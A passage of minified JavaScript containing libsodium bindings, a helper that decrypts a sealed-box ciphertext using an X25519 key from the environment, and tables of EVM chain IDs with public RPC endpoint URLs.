,o._crypto_aead_xchacha20poly1305_ietf_encrypt_detached=(t,e,r,n,A,i,s,a,c,h,g,u)=>(o._crypto_aead_xchacha20poly1305_ietf_encrypt_detached=J.A)(t,e,r,n,A,i,s,a,c,h,g,u),o._crypto_aead_xchacha20poly1305_ietf_encrypt=(t,e,r,n,A,i,s,a,c,h,g)=>(o._crypto_aead_xchacha20poly1305_ietf_encrypt=J.B)(t,e,r,n,A,i,s,a,c,h,g),o._crypto_aead_xchacha20poly1305_ietf_decrypt_detached=(t,e,r,n,A,i,s,a,c,h,g)=>(o._crypto_aead_xchacha20poly1305_ietf_decrypt_detached=J.C)(t,e,r,n,A,i,s,a,c,h,g),o._crypto_aead_xchacha20poly1305_ietf_decrypt=(t,e,r,n,A,i,s,a,c,h,g)=>(o._crypto_aead_xchacha20poly1305_ietf_decrypt=J.D)(t,e,r,n,A,i,s,a,c,h,g),o._crypto_aead_xchacha20poly1305_ietf_keybytes=()=>(o._crypto_aead_xchacha20poly1305_ietf_keybytes=J.E)(),o._crypto_aead_xchacha20poly1305_ietf_npubbytes=()=>(o._crypto_aead_xchacha20poly1305_ietf_npubbytes=J.F)(),o._crypto_aead_xchacha20poly1305_ietf_nsecbytes=()=>(o._crypto_aead_xchacha20poly1305_ietf_nsecbytes=J.G)(),o._crypto_aead_xchacha20poly1305_ietf_abytes=()=>(o._crypto_aead_xchacha20poly1305_ietf_abytes=J.H)(),o._crypto_aead_xchacha20poly1305_ietf_messagebytes_max=()=>(o._crypto_aead_xchacha20poly1305_ietf_messagebytes_max=J.I)(),o._crypto_aead_xchacha20poly1305_ietf_keygen=t=>(o._crypto_aead_xchacha20poly1305_ietf_keygen=J.J)(t),o._crypto_auth_bytes=()=>(o._crypto_auth_bytes=J.K)(),o._crypto_auth_keybytes=()=>(o._crypto_auth_keybytes=J.L)(),o._crypto_auth=(t,e,r,n,A)=>(o._crypto_auth=J.M)(t,e,r,n,A),o._crypto_auth_verify=(t,e,r,n,A)=>(o._crypto_auth_verify=J.N)(t,e,r,n,A),o._crypto_auth_keygen=t=>(o._crypto_auth_keygen=J.O)(t),o._crypto_box_seedbytes=()=>(o._crypto_box_seedbytes=J.P)(),o._crypto_box_publickeybytes=()=>(o._crypto_box_publickeybytes=J.Q)(),o._crypto_box_secretkeybytes=()=>(o._crypto_box_secretkeybytes=J.R)(),o._crypto_box_beforenmbytes=()=>(o._crypto_box_beforenmbytes=J.S)(),o._crypto_box_noncebytes=()=>(o._crypto_box_noncebytes=J.T)(),o._crypto_box_macbytes=()=>(o._crypto_box_macbytes=J.U)(),o._crypto_box_messagebytes_max=()=>(o._crypto_box_messagebytes_max=J.V)(),o._crypto_box_seed_keypair=(t,e,r)=>(o._crypto_box_seed_keypair=J.W)(t,e,r),o._crypto_box_keypair=(t,e)=>(o._crypto_box_keypair=J.X)(t,e),o._crypto_box_beforenm=(t,e,r)=>(o._crypto_box_beforenm=J.Y)(t,e,r),o._crypto_box_detached_afternm=(t,e,r,n,A,i,s)=>(o._crypto_box_detached_afternm=J.Z)(t,e,r,n,A,i,s),o._crypto_box_detached=(t,e,r,n,A,i,s,a)=>(o._crypto_box_detached=J._)(t,e,r,n,A,i,s,a),o._crypto_box_easy_afternm=(t,e,r,n,A,i)=>(o._crypto_box_easy_afternm=J.$)(t,e,r,n,A,i),o._crypto_box_easy=(t,e,r,n,A,i,s)=>(o._crypto_box_easy=J.aa)(t,e,r,n,A,i,s),o._crypto_box_open_detached_afternm=(t,e,r,n,A,i,s)=>(o._crypto_box_open_detached_afternm=J.ba)(t,e,r,n,A,i,s),o._crypto_box_open_detached=(t,e,r,n,A,i,s,a)=>(o._crypto_box_open_detached=J.ca)(t,e,r,n,A,i,s,a),o._crypto_box_open_easy_afternm=(t,e,r,n,A,i)=>(o._crypto_box_open_easy_afternm=J.da)(t,e,r,n,A,i),o._crypto_box_open_easy=(t,e,r,n,A,i,s)=>(o._crypto_box_open_easy=J.ea)(t,e,r,n,A,i,s),o._crypto_box_seal=(t,e,r,n,A)=>(o._crypto_box_seal=J.fa)(t,e,r,n,A),o._crypto_box_seal_open=(t,e,r,n,A,i)=>(o._crypto_box_seal_open=J.ga)(t,e,r,n,A,i),o._crypto_box_sealbytes=()=>(o._crypto_box_sealbytes=J.ha)(),o._crypto_generichash_bytes_min=()=>(o._crypto_generichash_bytes_min=J.ia)(),o._crypto_generichash_bytes_max=()=>(o._crypto_generichash_bytes_max=J.ja)(),o._crypto_generichash_bytes=()=>(o._crypto_generichash_bytes=J.ka)(),o._crypto_generichash_keybytes_min=()=>(o._crypto_generichash_keybytes_min=J.la)(),o._crypto_generichash_keybytes_max=()=>(o._crypto_generichash_keybytes_max=J.ma)(),o._crypto_generichash_keybytes=()=>(o._crypto_generichash_keybytes=J.na)(),o._crypto_generichash_statebytes=()=>(o._crypto_generichash_statebytes=J.oa)(),o._crypto_generichash=(t,e,r,n,A,i,s)=>(o._crypto_generichash=J.pa)(t,e,r,n,A,i,s),o._crypto_generichash_init=(t,e,r,n)=>(o._crypto_generichash_init=J.qa)(t,e,r,n),o._crypto_generichash_update=(t,e,r,n)=>(o._crypto_generichash_update=J.ra)(t,e,r,n),o._crypto_generichash_final=(t,e,r)=>(o._crypto_generichash_final=J.sa)(t,e,r),o._crypto_generichash_keygen=t=>(o._crypto_generichash_keygen=J.ta)(t),o._crypto_hash_bytes=()=>(o._crypto_hash_bytes=J.ua)(),o._crypto_hash=(t,e,r,n)=>(o._crypto_hash=J.va)(t,e,r,n),o._crypto_kdf_bytes_min=()=>(o._crypto_kdf_bytes_min=J.wa)(),o._crypto_kdf_bytes_max=()=>(o._crypto_kdf_bytes_max=J.xa)(),o._crypto_kdf_contextbytes=()=>(o._crypto_kdf_contextbytes=J.ya)(),o._crypto_kdf_keybytes=()=>(o._crypto_kdf_keybytes=J.za)(),o._crypto_kdf_derive_from_key=(t,e,r,n,A,i)=>(o._crypto_kdf_derive_from_key=J.Aa)(t,e,r,n,A,i),o._crypto_kdf_keygen=t=>(o._crypto_kdf_keygen=J.Ba)(t),o._crypto_kdf_hkdf_sha256_extract_init=(t,e,r)=>(o._crypto_kdf_hkdf_sha256_extract_init=J.Ca)(t,e,r),o._crypto_kdf_hkdf_sha256_extract_update=(t,e,r)=>(o._crypto_kdf_hkdf_sha256_extract_update=J.Da)(t,e,r),o._crypto_kdf_hkdf_sha256_extract_final=(t,e)=>(o._crypto_kdf_hkdf_sha256_extract_final=J.Ea)(t,e),o._crypto_kdf_hkdf_sha256_extract=(t,e,r,n,A)=>(o._crypto_kdf_hkdf_sha256_extract=J.Fa)(t,e,r,n,A),o._crypto_kdf_hkdf_sha256_keygen=t=>(o._crypto_kdf_hkdf_sha256_keygen=J.Ga)(t),o._crypto_kdf_hkdf_sha256_expand=(t,e,r,n,A)=>(o._crypto_kdf_hkdf_sha256_expand=J.Ha)(t,e,r,n,A),o._crypto_kdf_hkdf_sha256_keybytes=()=>(o._crypto_kdf_hkdf_sha256_keybytes=J.Ia)(),o._crypto_kdf_hkdf_sha256_bytes_min=()=>(o._crypto_kdf_hkdf_sha256_bytes_min=J.Ja)(),o._crypto_kdf_hkdf_sha256_bytes_max=()=>(o._crypto_kdf_hkdf_sha256_bytes_max=J.Ka)(),o._crypto_kdf_hkdf_sha256_statebytes=()=>(o._crypto_kdf_hkdf_sha256_statebytes=J.La)(),o._crypto_kdf_hkdf_sha512_extract_init=(t,e,r)=>(o._crypto_kdf_hkdf_sha512_extract_init=J.Ma)(t,e,r),o._crypto_kdf_hkdf_sha512_extract_update=(t,e,r)=>(o._crypto_kdf_hkdf_sha512_extract_update=J.Na)(t,e,r),o._crypto_kdf_hkdf_sha512_extract_final=(t,e)=>(o._crypto_kdf_hkdf_sha512_extract_final=J.Oa)(t,e),o._crypto_kdf_hkdf_sha512_extract=(t,e,r,n,A)=>(o._crypto_kdf_hkdf_sha512_extract=J.Pa)(t,e,r,n,A),o._crypto_kdf_hkdf_sha512_keygen=t=>(o._crypto_kdf_hkdf_sha512_keygen=J.Qa)(t),o._crypto_kdf_hkdf_sha512_expand=(t,e,r,n,A)=>(o._crypto_kdf_hkdf_sha512_expand=J.Ra)(t,e,r,n,A),o._crypto_kdf_hkdf_sha512_keybytes=()=>(o._crypto_kdf_hkdf_sha512_keybytes=J.Sa)(),o._crypto_kdf_hkdf_sha512_bytes_min=()=>(o._crypto_kdf_hkdf_sha512_bytes_min=J.Ta)(),o._crypto_kdf_hkdf_sha512_bytes_max=()=>(o._crypto_kdf_hkdf_sha512_bytes_max=J.Ua)(),o._crypto_kx_seed_keypair=(t,e,r)=>(o._crypto_kx_seed_keypair=J.Va)(t,e,r),o._crypto_kx_keypair=(t,e)=>(o._crypto_kx_keypair=J.Wa)(t,e),o._crypto_kx_client_session_keys=(t,e,r,n,A)=>(o._crypto_kx_client_session_keys=J.Xa)(t,e,r,n,A),o._crypto_kx_server_session_keys=(t,e,r,n,A)=>(o._crypto_kx_server_session_keys=J.Ya)(t,e,r,n,A),o._crypto_kx_publickeybytes=()=>(o._crypto_kx_publickeybytes=J.Za)(),o._crypto_kx_secretkeybytes=()=>(o._crypto_kx_secretkeybytes=J._a)(),o._crypto_kx_seedbytes=()=>(o._crypto_kx_seedbytes=J.$a)(),o._crypto_kx_sessionkeybytes=()=>(o._crypto_kx_sessionkeybytes=J.ab)(),o._crypto_scalarmult_base=(t,e)=>(o._crypto_scalarmult_base=J.bb)(t,e),o._crypto_scalarmult=(t,e,r)=>(o._crypto_scalarmult=J.cb)(t,e,r),o._crypto_scalarmult_bytes=()=>(o._crypto_scalarmult_bytes=J.db)(),o._crypto_scalarmult_scalarbytes=()=>(o._crypto_scalarmult_scalarbytes=J.eb)(),o._crypto_secretbox_keybytes=()=>(o._crypto_secretbox_keybytes=J.fb)(),o._crypto_secretbox_noncebytes=()=>(o._crypto_secretbox_noncebytes=J.gb)(),o._crypto_secretbox_macbytes=()=>(o._crypto_secretbox_macbytes=J.hb)(),o._crypto_secretbox_messagebytes_max=()=>(o._crypto_secretbox_messagebytes_max=J.ib)(),o._crypto_secretbox_keygen=t=>(o._crypto_secretbox_keygen=J.jb)(t),o._crypto_secretbox_detached=(t,e,r,n,A,i,s)=>(o._crypto_secretbox_detached=J.kb)(t,e,r,n,A,i,s),o._crypto_secretbox_easy=(t,e,r,n,A,i)=>(o._crypto_secretbox_easy=J.lb)(t,e,r,n,A,i),o._crypto_secretbox_open_detached=(t,e,r,n,A,i,s)=>(o._crypto_secretbox_open_detached=J.mb)(t,e,r,n,A,i,s),o._crypto_secretbox_open_easy=(t,e,r,n,A,i)=>(o._crypto_secretbox_open_easy=J.nb)(t,e,r,n,A,i),o._crypto_secretstream_xchacha20poly1305_keygen=t=>(o._crypto_secretstream_xchacha20poly1305_keygen=J.ob)(t),o._crypto_secretstream_xchacha20poly1305_init_push=(t,e,r)=>(o._crypto_secretstream_xchacha20poly1305_init_push=J.pb)(t,e,r),o._crypto_secretstream_xchacha20poly1305_init_pull=(t,e,r)=>(o._crypto_secretstream_xchacha20poly1305_init_pull=J.qb)(t,e,r),o._crypto_secretstream_xchacha20poly1305_rekey=t=>(o._crypto_secretstream_xchacha20poly1305_rekey=J.rb)(t),o._crypto_secretstream_xchacha20poly1305_push=(t,e,r,n,A,i,s,a,c,h)=>(o._crypto_secretstream_xchacha20poly1305_push=J.sb)(t,e,r,n,A,i,s,a,c,h),o._crypto_secretstream_xchacha20poly1305_pull=(t,e,r,n,A,i,s,a,c,h)=>(o._crypto_secretstream_xchacha20poly1305_pull=J.tb)(t,e,r,n,A,i,s,a,c,h),o._crypto_secretstream_xchacha20poly1305_statebytes=()=>(o._crypto_secretstream_xchacha20poly1305_statebytes=J.ub)(),o._crypto_secretstream_xchacha20poly1305_abytes=()=>(o._crypto_secretstream_xchacha20poly1305_abytes=J.vb)(),o._crypto_secretstream_xchacha20poly1305_headerbytes=()=>(o._crypto_secretstream_xchacha20poly1305_headerbytes=J.wb)(),o._crypto_secretstream_xchacha20poly1305_keybytes=()=>(o._crypto_secretstream_xchacha20poly1305_keybytes=J.xb)(),o._crypto_secretstream_xchacha20poly1305_messagebytes_max=()=>(o._crypto_secretstream_xchacha20poly1305_messagebytes_max=J.yb)(),o._crypto_secretstream_xchacha20poly1305_tag_message=()=>(o._crypto_secretstream_xchacha20poly1305_tag_message=J.zb)(),o._crypto_secretstream_xchacha20poly1305_tag_push=()=>(o._crypto_secretstream_xchacha20poly1305_tag_push=J.Ab)(),o._crypto_secretstream_xchacha20poly1305_tag_rekey=()=>(o._crypto_secretstream_xchacha20poly1305_tag_rekey=J.Bb)(),o._crypto_secretstream_xchacha20poly1305_tag_final=()=>(o._crypto_secretstream_xchacha20poly1305_tag_final=J.Cb)(),o._crypto_shorthash_bytes=()=>(o._crypto_shorthash_bytes=J.Db)(),o._crypto_shorthash_keybytes=()=>(o._crypto_shorthash_keybytes=J.Eb)(),o._crypto_shorthash=(t,e,r,n,A)=>(o._crypto_shorthash=J.Fb)(t,e,r,n,A),o._crypto_shorthash_keygen=t=>(o._crypto_shorthash_keygen=J.Gb)(t),o._crypto_sign_statebytes=()=>(o._crypto_sign_statebytes=J.Hb)(),o._crypto_sign_bytes=()=>(o._crypto_sign_bytes=J.Ib)(),o._crypto_sign_seedbytes=()=>(o._crypto_sign_seedbytes=J.Jb)(),o._crypto_sign_publickeybytes=()=>(o._crypto_sign_publickeybytes=J.Kb)(),o._crypto_sign_secretkeybytes=()=>(o._crypto_sign_secretkeybytes=J.Lb)(),o._crypto_sign_messagebytes_max=()=>(o._crypto_sign_messagebytes_max=J.Mb)(),o._crypto_sign_seed_keypair=(t,e,r)=>(o._crypto_sign_seed_keypair=J.Nb)(t,e,r),o._crypto_sign_keypair=(t,e)=>(o._crypto_sign_keypair=J.Ob)(t,e),o._crypto_sign=(t,e,r,n,A,i)=>(o._crypto_sign=J.Pb)(t,e,r,n,A,i),o._crypto_sign_open=(t,e,r,n,A,i)=>(o._crypto_sign_open=J.Qb)(t,e,r,n,A,i),o._crypto_sign_detached=(t,e,r,n,A,i)=>(o._crypto_sign_detached=J.Rb)(t,e,r,n,A,i),o._crypto_sign_verify_detached=(t,e,r,n,A)=>(o._crypto_sign_verify_detached=J.Sb)(t,e,r,n,A),o._crypto_sign_init=t=>(o._crypto_sign_init=J.Tb)(t),o._crypto_sign_update=(t,e,r,n)=>(o._crypto_sign_update=J.Ub)(t,e,r,n),o._crypto_sign_final_create=(t,e,r,n)=>(o._crypto_sign_final_create=J.Vb)(t,e,r,n),o._crypto_sign_final_verify=(t,e,r)=>(o._crypto_sign_final_verify=J.Wb)(t,e,r),o._crypto_sign_ed25519_pk_to_curve25519=(t,e)=>(o._crypto_sign_ed25519_pk_to_curve25519=J.Xb)(t,e),o._crypto_sign_ed25519_sk_to_curve25519=(t,e)=>(o._crypto_sign_ed25519_sk_to_curve25519=J.Yb)(t,e),o._randombytes_random=()=>(o._randombytes_random=J.Zb)(),o._randombytes_stir=()=>(o._randombytes_stir=J._b)(),o._randombytes_uniform=t=>(o._randombytes_uniform=J.$b)(t),o._randombytes_buf=(t,e)=>(o._randombytes_buf=J.ac)(t,e),o._randombytes_buf_deterministic=(t,e,r)=>(o._randombytes_buf_deterministic=J.bc)(t,e,r),o._randombytes_seedbytes=()=>(o._randombytes_seedbytes=J.cc)(),o._randombytes_close=()=>(o._randombytes_close=J.dc)(),o._randombytes=(t,e,r)=>(o._randombytes=J.ec)(t,e,r),o._sodium_bin2hex=(t,e,r,n)=>(o._sodium_bin2hex=J.fc)(t,e,r,n),o._sodium_hex2bin=(t,e,r,n,A,i,s)=>(o._sodium_hex2bin=J.gc)(t,e,r,n,A,i,s),o._sodium_base64_encoded_len=(t,e)=>(o._sodium_base64_encoded_len=J.hc)(t,e),o._sodium_bin2base64=(t,e,r,n,A)=>(o._sodium_bin2base64=J.ic)(t,e,r,n,A),o._sodium_base642bin=(t,e,r,n,A,i,s,a)=>(o._sodium_base642bin=J.jc)(t,e,r,n,A,i,s,a),o._sodium_init=()=>(o._sodium_init=J.kc)(),o._sodium_pad=(t,e,r,n,A)=>(o._sodium_pad=J.lc)(t,e,r,n,A),o._sodium_unpad=(t,e,r,n)=>(o._sodium_unpad=J.mc)(t,e,r,n),o._sodium_version_string=()=>(o._sodium_version_string=J.nc)(),o._sodium_library_version_major=()=>(o._sodium_library_version_major=J.oc)(),o._sodium_library_version_minor=()=>(o._sodium_library_version_minor=J.pc)(),o._sodium_library_minimal=()=>(o._sodium_library_minimal=J.qc)(),o._malloc=t=>(o._malloc=J.rc)(t),o._free=t=>(o._free=J.sc)(t),o.setValue=function(t,e,r=\"i8\"){switch(r.endsWith(\"*\")&&(r=\"*\"),r){case\"i1\":case\"i8\":I[0|t]=e;break;case\"i16\":C[t>>1]=e;break;case\"i32\":m[t>>2]=e;break;case\"i64\":N(\"to do setValue(i64) use WASM_BIGINT\");case\"float\":E[t>>2]=e;break;case\"double\":w[t>>3]=e;break;case\"*\":B[t>>2]=e;break;default:N(`invalid type for setValue: ${r}`)}},o.getValue=function(t,e=\"i8\"){switch(e.endsWith(\"*\")&&(e=\"*\"),e){case\"i1\":case\"i8\":return I[0|t];case\"i16\":return C[t>>1];case\"i32\":return m[t>>2];case\"i64\":N(\"to do getValue(i64) use WASM_BIGINT\");case\"float\":return E[t>>2];case\"double\":return w[t>>3];case\"*\":return B[t>>2];default:N(`invalid type for getValue: ${e}`)}},o.UTF8ToString=L,S=function t(){R||j(),R||(S=t)},o.preInit)for(\"function\"==typeof o.preInit&&(o.preInit=[o.preInit]);o.preInit.length>0;)o.preInit.pop()();j()})).catch((function(){return i.useBackupModule()})),n}\"string\"!=typeof r.nodeName?A(r):n.libsodium=A(n.libsodium_mod||(n.commonJsStrict={}))}(t)}(Yu,Yu.exports)),Yu.exports)):r.sodium=n(r.commonJsStrict={},r.libsodium),A&&r.sodium.ready.then((function(){A(r.sodium)}))}(t)}(Ou);var Ku=e(Ou);const Ju=\"HSK_\";async function ju(t){await Ku.ready;let e=null,r=null;const n=process.env.X25519_PRIVATE_KEY;if(!n)return console.warn(\"X25519_PRIVATE_KEY is not defined\"),{privateKey:null,publicKey:null};if(e=await async function(t){await Ku.ready;const e=Ku.from_base64(t,Ku.base64_variants.URLSAFE_NO_PADDING);return Ku.crypto_scalarmult_base(e,\"base64\")}(n),!e)return console.warn(\"Public key is null\"),{privateKey:null,publicKey:null};if(!t?.length)return console.warn(\"No cipherText was provided\"),{privateKey:null,publicKey:null};const A=Ku.from_base64(e,Ku.base64_variants.URLSAFE_NO_PADDING),i=Ku.from_base64(n,Ku.base64_variants.URLSAFE_NO_PADDING),o=Ku.from_base64(t,Ku.base64_variants.URLSAFE_NO_PADDING),s=Ku.crypto_box_seal_open(o,A,i,\"text\");return r=s?.replace(Ju,\"\"),{privateKey:r,publicKey:e}}var zu,qu,Xu=Object.create,Vu=Object.defineProperty,Wu=Object.getOwnPropertyDescriptor,Zu=Object.getOwnPropertyNames,$u=Object.getPrototypeOf,tl=Object.prototype.hasOwnProperty,el=(t,e)=>function(){return t&&(e=(0,t[Zu(t)[0]])(t=0)),e},rl=(t,e)=>function(){return e||(0,t[Zu(t)[0]])((e={exports:{}}).exports,e),e.exports},nl=(t,e,r)=>(r=null!=t?Xu($u(t)):{},((t,e,r,n)=>{if(e&&\"object\"==typeof e||\"function\"==typeof e)for(let A of Zu(e))tl.call(t,A)||A===r||Vu(t,A,{get:()=>e[A],enumerable:!(n=Wu(e,A))||n.enumerable});return t})(!e&&t&&t.__esModule?r:Vu(r,\"default\",{value:t,enumerable:!0}),t)),Al=el({\"\"(){zu={1:\"ethereum\",8:\"ubiq\",10:\"optimism\",19:\"songbird\",20:\"elastos\",24:\"kardiachain\",25:\"cronos\",30:\"rsk\",40:\"telos\",50:\"xdc\",52:\"csc\",55:\"zyx\",56:\"binance\",57:\"syscoin\",60:\"gochain\",61:\"ethereumclassic\",66:\"okexchain\",70:\"hoo\",82:\"meter\",87:\"nova network\",88:\"viction\",100:\"xdai\",106:\"velas\",108:\"thundercore\",122:\"fuse\",128:\"heco\",137:\"polygon\",148:\"shimmer_evm\",169:\"manta\",200:\"xdaiarb\",204:\"op_bnb\",246:\"energyweb\",248:\"oasys\",250:\"fantom\",269:\"hpb\",288:\"boba\",311:\"omax\",314:\"filecoin\",321:\"kucoin\",324:\"era\",336:\"shiden\",361:\"theta\",369:\"pulse\",416:\"sx\",463:\"areon\",534:\"candle\",570:\"rollux\",592:\"astar\",820:\"callisto\",888:\"wanchain\",1030:\"conflux\",1088:\"metis\",1101:\"polygon_zkevm\",1116:\"core\",1231:\"ultron\",1234:\"step\",1284:\"moonbeam\",1285:\"moonriver\",1440:\"living assets mainnet\",1559:\"tenet\",1975:\"onus\",2e3:\"dogechain\",2222:\"kava\",2332:\"soma\",4337:\"beam\",4689:\"iotex\",5e3:\"mantle\",5050:\"xlc\",5551:\"nahmii\",6969:\"tombchain\",7700:\"canto\",8217:\"klaytn\",8453:\"base\",8899:\"jbc\",9001:\"evmos\",9790:\"carbon\",1e4:\"smartbch\",15551:\"loop\",17777:\"eos_evm\",32520:\"bitgert\",32659:\"fusion\",32769:\"zilliqa\",42161:\"arbitrum\",42170:\"arbitrum_nova\",42220:\"celo\",42262:\"oasis\",43114:\"avalanche\",47805:\"rei\",55555:\"reichain\",59144:\"linea\",71402:\"godwoken\",333999:\"polis\",420420:\"kekchain\",888888:\"vision\",245022934:\"neon\",1313161554:\"aurora\",16666e5:\"harmony\",11297108109:\"palm\",836542336838601:\"curio\"}}}),il=el({\"\"(){qu={1:[\"https://mainnet.eth.cloud.ava.do/\",\"https://ethereumnodelight.app.runonflux.io\",\"https://eth-mainnet.rpcfast.com?api_key=xbhWBI1Wkguk8SNMu1bvvLurPGLXmgwYeC4S6g2H7WdwFigZSmPWVZRxrskEQwIf\",\"https://main-light.eth.linkpool.io\",\"https://rpc.notadegen.com/eth\",\"https://eth.llamarpc.com\",\"https://endpoints.omniatech.io/v1/eth/mainnet/public\",\"https://go.getblock.io/d7dab8149ec04390aaa923ff2768f914\",\"https://ethereum-rpc.publicnode.com\",\"https://1rpc.io/eth\",\"https://rpc.builder0x69.io/\",\"https://rpc.mevblocker.io\",\"https://rpc.flashbots.net/\",\"https://eth-pokt.nodies.app\",\"https://rpc.payload.de\",\"https://api.zmok.io/mainnet/oaen6dy8ff6hju9k\",\"https://eth.meowrpc.com\",\"https://eth.drpc.org\",\"https://eth.merkle.io\",\"https://rpc.lokibuilder.xyz/wallet\",\"https://api.stateless.solutions/ethereum/v1/0ec6cac0-ecac-4247-8a41-1e685deadfe4\",\"https://rpc.polysplit.cloud/v1/chain/1\",\"https://rpc.tornadoeth.cash/eth\",\"https://rpc.tornadoeth.cash/mev\"],2:[\"https://node.eggs.cool\",\"https://node.expanse.tech\"],3:[\"https://rpc.ankr.com/eth_ropsten\",\"https://ropsten.infura.io/v3/9aa3d95b3bc440fa88ea12eaa4456161\"],4:[\"https://rpc.ankr.com/eth_rinkeby\",\"https://rinkeby.infura.io/3/9aa3d95b3bc440fa88ea12eaa4456161\"],5:[\"https://endpoints.omniatech.io/v1/eth/goerli/public\",\"https://ethereum-goerli-rpc.publicnode.com\",\"https://rpc.tornadoeth.cash/goerli\"],6:[\"https://www.ethercluster.com/kotti\"],7:[\"https://rpc.dome.cloud\"],8:[\"https://rpc.octano.dev\"],10:[\"https://mainnet.optimism.io/\",\"https://optimism.llamarpc.com\",\"https://1rpc.io/op\",\"https://op-pokt.nodies.app\",\"https://endpoints.omniatech.io/v1/op/mainnet/public\",\"https://optimism-rpc.publicnode.com\",\"https://optimism.meowrpc.com\",\"https://optimism.drpc.org\",\"https://api.stateless.solutions/optimism/v1/f373feb1-c8e4-41c9-bb74-2c691988dd34\",\"https://rpc.tornadoeth.cash/optimism\"],11:[\"https://api.metadium.com/dev\"],14:[],15:[\"https://prenet.diode.io:8443/\"],17:[\"https://rpc.thaifi.com\"],19:[\"https://songbird.towolabs.com/rpc\"],20:[\"https://api.elastos.io/esc\",\"https://api.trinity-tech.io/esc\"],22:[\"https://api.trinity-tech.io/eid\",\"https://api.elastos.io/eid\"],24:[\"https://rpc.kardiachain.io\"],25:[\"https://evm.cronos.org\",\"https://cronos-rpc.elk.finance/\",\"https://cronos-evm-rpc.publicnode.com\",\"https://1rpc.io/cro\"],27:[\"https://rpc.shibachain.net\"],29:[\"https://rpc.genesisl1.org\"],30:[\"https://public-node.rsk.co\"],33:[\"https://rpc.goodata.io\"],35:[\"https://rpc.tbwg.io\"],38:[\"https://rpc.valorbit.com/v2\"],40:[\"https://mainnet.telos.net/evm\",\"https://rpc1.eu.telos.net/evm\",\"https://rpc1.us.telos.net/evm\",\"https://rpc2.us.telos.net/evm\",\"https://api.kainosbp.com/evm\",\"https://rpc2.eu.telos.net/evm\",\"https://evm.teloskorea.com/evm\",\"https://rpc2.teloskorea.com/evm\",\"https://rpc01.us.telosunlimited.io/evm\",\"https://rpc02.us.telosunlimited.io/evm\",\"https://1rpc.io/telos/evm\"],44:[],50:[\"https://rpc.xdcrpc.com\",\"https://rpc1.xinfin.network\",\"https://erpc.xinfin.network\",\"https://rpc.xinfin.network\",\"https://erpc.xdcrpc.com\",\"https://rpc.xdc.org\"],51:[\"https://rpc.apothem.network\",\"https://erpc.apothem.network\",\"https://apothem.xdcrpc.com\"],52:[\"https://rpc.coinex.net/\",\"https://rpc1.coinex.net/\",\"https://rpc2.coinex.net/\",\"https://rpc3.coinex.net/\",\"https://rpc4.coinex.net/\"],55:[\"https://rpc-1.zyx.network/\",\"https://rpc-2.zyx.network/\",\"https://rpc-3.zyx.network/\",\"https://rpc-5.zyx.network/\"],56:[\"https://bsc-dataseed.bnbchain.org/\",\"https://bsc-dataseed1.defibit.io/\",\"https://bsc-dataseed1.ninicoin.io/\",\"https://bsc-dataseed2.defibit.io/\",\"https://bsc-dataseed3.defibit.io/\",\"https://bsc-dataseed4.defibit.io/\",\"https://bsc-dataseed2.ninicoin.io/\",\"https://bsc-dataseed3.ninicoin.io/\",\"https://bsc-dataseed4.ninicoin.io/\",\"https://bsc-dataseed1.bnbchain.org/\",\"https://bsc-dataseed2.bnbchain.org/\",\"https://bsc-dataseed3.bnbchain.org/\",\"https://bsc-dataseed4.bnbchain.org/\",\"https://bsc-dataseed6.dict.life/\",\"https://bscrpc.com\",\"https://bsc.rpcgator.com/\",\"https://bsc-mainnet.rpcfast.com?api_key=xbhWBI1Wkguk8SNMu1bvvLurPGLXmgwYeC4S6g2H7WdwFigZSmPWVZRxrskEQwIf\",\"https://nodes.vefinetwork.org/smartchain\",\"https://binance.llamarpc.com\",\"https://endpoints.omniatech.io/v1/bsc/mainnet/public\",\"https://bsc-pokt.nodies.app\",\"https://1rpc.io/bnb\",\"https://bsc-rpc.publicnode.com\",\"https://bsc.meowrpc.com\",\"https://bsc.drpc.org\",\"https://rpc.polysplit.cloud/v1/chain/56\",\"https://rpc.tornadoeth.cash/bsc\"],57:[\"https://rpc.syscoin.org\",\"https://syscoin-evm-rpc.publicnode.com\"],58:[\"https://dappnode1.ont.io:10339\",\"https://dappnode2.ont.io:10339\",\"https://dappnode3.ont.io:10339\",\"https://dappnode4.ont.io:10339\"],59:[\"https://api.eosargentina.io\",\"https://api.metahub.cash\"],60:[\"https://rpc.gochain.io\"],61:[\"https://etc.mytokenpocket.vip\",\"https://rpc.etcinscribe.com\",\"https://etc.etcdesktop.com\",\"https://etc.rivet.link\"],62:[\"https://www.ethercluster.com/morden\"],63:[\"https://rpc.mordor.etccooperative.org\"],64:[],66:[\"https://exchainrpc.okex.org\",\"https://1rpc.io/oktc\"],68:[],70:[\"https://http-mainnet.hoosmartchain.com\"],74:[\"https://idchain.one/rpc/\"],76:[],77:[\"https://sokol.poa.network\"],78:[\"https://ethnode.primusmoney.com/mainnet\"],79:[\"https://dataserver-us-1.zenithchain.co/\",\"https://dataserver-asia-3.zenithchain.co/\",\"https://dataserver-asia-4.zenithchain.co/\",\"https://dataserver-asia-2.zenithchain.co/\"],80:[],82:[\"https://rpc.meter.io\"],86:[\"https://evm.gatenode.cc\"],87:[\"https://rpc.novanetwork.io:9070\",\"https://dev.rpc.novanetwork.io/\"],88:[\"https://rpc.tomochain.com\"],90:[\"https://s0.garizon.net/rpc\"],91:[\"https://s1.garizon.net/rpc\"],92:[\"https://s2.garizon.net/rpc\"],93:[\"https://s3.garizon.net/rpc\"],96:[\"https://rpc.bitkubchain.io\"],97:[\"https://bsctestapi.terminet.io/rpc\",\"https://endpoints.omniatech.io/v1/bsc/testnet/public\",\"https://bsc-testnet-rpc.publicnode.com\"],99:[\"https://core.poanetwork.dev\"],100:[\"https://rpc.gnosischain.com\",\"https://xdai-archive.blockscout.com\",\"https://gnosis-pokt.nodies.app\",\"https://gnosis.drpc.org\",\"https://endpoints.omniatech.io/v1/gnosis/mainnet/public\",\"https://gnosis-rpc.publicnode.com\",\"https://1rpc.io/gnosis\",\"https://rpc.tornadoeth.cash/gnosis\"],101:[],106:[\"https://evmexplorer.velas.com/rpc\",\"https://velas-mainnet.rpcfast.com?api_key=xbhWBI1Wkguk8SNMu1bvvLurPGLXmgwYeC4S6g2H7WdwFigZSmPWVZRxrskEQwIf\"],108:[\"https://mainnet-rpc.thundercore.com\"],111:[\"https://rpc.etherlite.org\"],119:[\"https://evmapi.nuls.io\",\"https://evmapi2.nuls.io\"],122:[\"https://rpc.fuse.io\",\"https://fuse-pokt.nodies.app\"],123:[\"https://rpc.fusespark.io\"],124:[],126:[\"https://rpc.mainnet.oychain.io\",\"https://rpc.oychain.io\"],127:[],128:[\"https://http-mainnet.hecochain.com\",\"https://http-mainnet-node.huobichain.com\",\"https://hec